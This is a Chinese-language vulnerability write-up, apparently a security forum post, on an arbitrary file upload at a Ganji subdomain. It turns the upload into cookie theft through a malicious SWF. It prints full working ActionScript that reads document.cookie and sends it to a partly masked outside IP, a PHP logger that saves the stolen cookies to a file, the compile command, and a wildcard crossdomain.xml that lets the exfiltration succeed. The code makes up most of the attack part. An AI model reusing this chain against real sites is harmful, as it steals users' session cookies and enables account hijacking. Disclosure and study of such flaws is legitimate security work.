0x001 起因 凑巧发现赶集某处的任意文件上传。可以上传txt,swf,但是测试发现无法上传其他文件,如:php,jsp等脚本文件(就算上传上去也解析不了,谁让人家是图片备份站呢....) - <form id="Upload" enctype="multipart/form-data" action="http://xxx.ganji.com/xxx.php" method="post"> Upload a new file:<br> <input type="file" name="NewFile" size="50"><br> <input id="btnUpload" type="submit" value="Upload"> </form>
复制代码 0x002 简单测试
之前有在乌云看到过, swf导致 xss。于是乎,我上传了一个有 xss漏洞的 swf。
还可以上传txt进行涂鸦。
0x003 利用查看了下赶集的crossdomain,既然我们有xss,那是不是可以玩Flash跨域?
参考:[url=]WooYun: 腾讯某分站可上传任意swf文件导致的一系列问题(附简单POC)[/url]
照抄他的AS代码: - package
- {
- import flash.display.*;
- import flash.external.*;
- import flash.net.*;
-
- public class csrf extends flash.display.Sprite
- {
- public function csrf()
- {
- super();
- var loc1:*=flash.external.ExternalInterface.call("function(){return document.cookie;}");
- this.doGet(loc1);
- return;
- }
- internal function doGet(arg1:String):void
- {
- var res:String;
- var target:String;
- var request:flash.net.URLRequest;
- var loc1:*;
- res = arg1;
- this.loader = new flash.net.URLLoader();
- target = "http://203.124.xxx.xxx/get.php?get=" + res;
- request = new flash.net.URLRequest(target);
- try
- {
- this.loader.load(request);
- }
- catch (error:Error)
- {
- sendDatatoJS("Error: " + error.getStackTrace());
- }
- return;
- }
- internal function sendDatatoJS(arg1:String):void
- {
- trace(arg1);
- flash.external.ExternalInterface.call("colsole.log", arg1);
- return;
- }
- internal var loader:flash.net.URLLoader;
- }
- }
复制代码随手写一个get.php,用于记录cookie。 - <?php
- $cookie = $_GET["get"];
- $txt = "cookie.txt";//保存的文件
- $file = fopen($txt,"a+");//读写方式打开
- fwrite($file, ' Cookie:'.$cookie.' Date and Time: ' .date("Y-m-d H:i:s",time())."\r\n \r\n \r\n \r"); //写入
- fclose($file);//释放
- ?>
复制代码命令行下直接编译as文件为swf的方法 - C:\Program Files\Adobe\Adobe Flash Builder 4\sdks\4.0.0\bin>mxmlc C:\Users\aw\Desktop\CgEHF1bLE0TDRyd2AAADsZZ8Qy4827.swf_as\csrf.as
复制代码编译生成,然后上传 访问后发现,swf会自行再访问crossdomain.xml。访问http://203.124.xx.xx/crossdomain.xml这个文件然而返回了403.于是乎写了个crossdomain.xml上传到服务器 - <?xml version="1.0" encoding="UTF-8"?>
- <cross-domain-policy>
- <allow-access-from domain="*"/>
- </cross-domain-policy>
复制代码再次访问,便可以收到cookies了。
|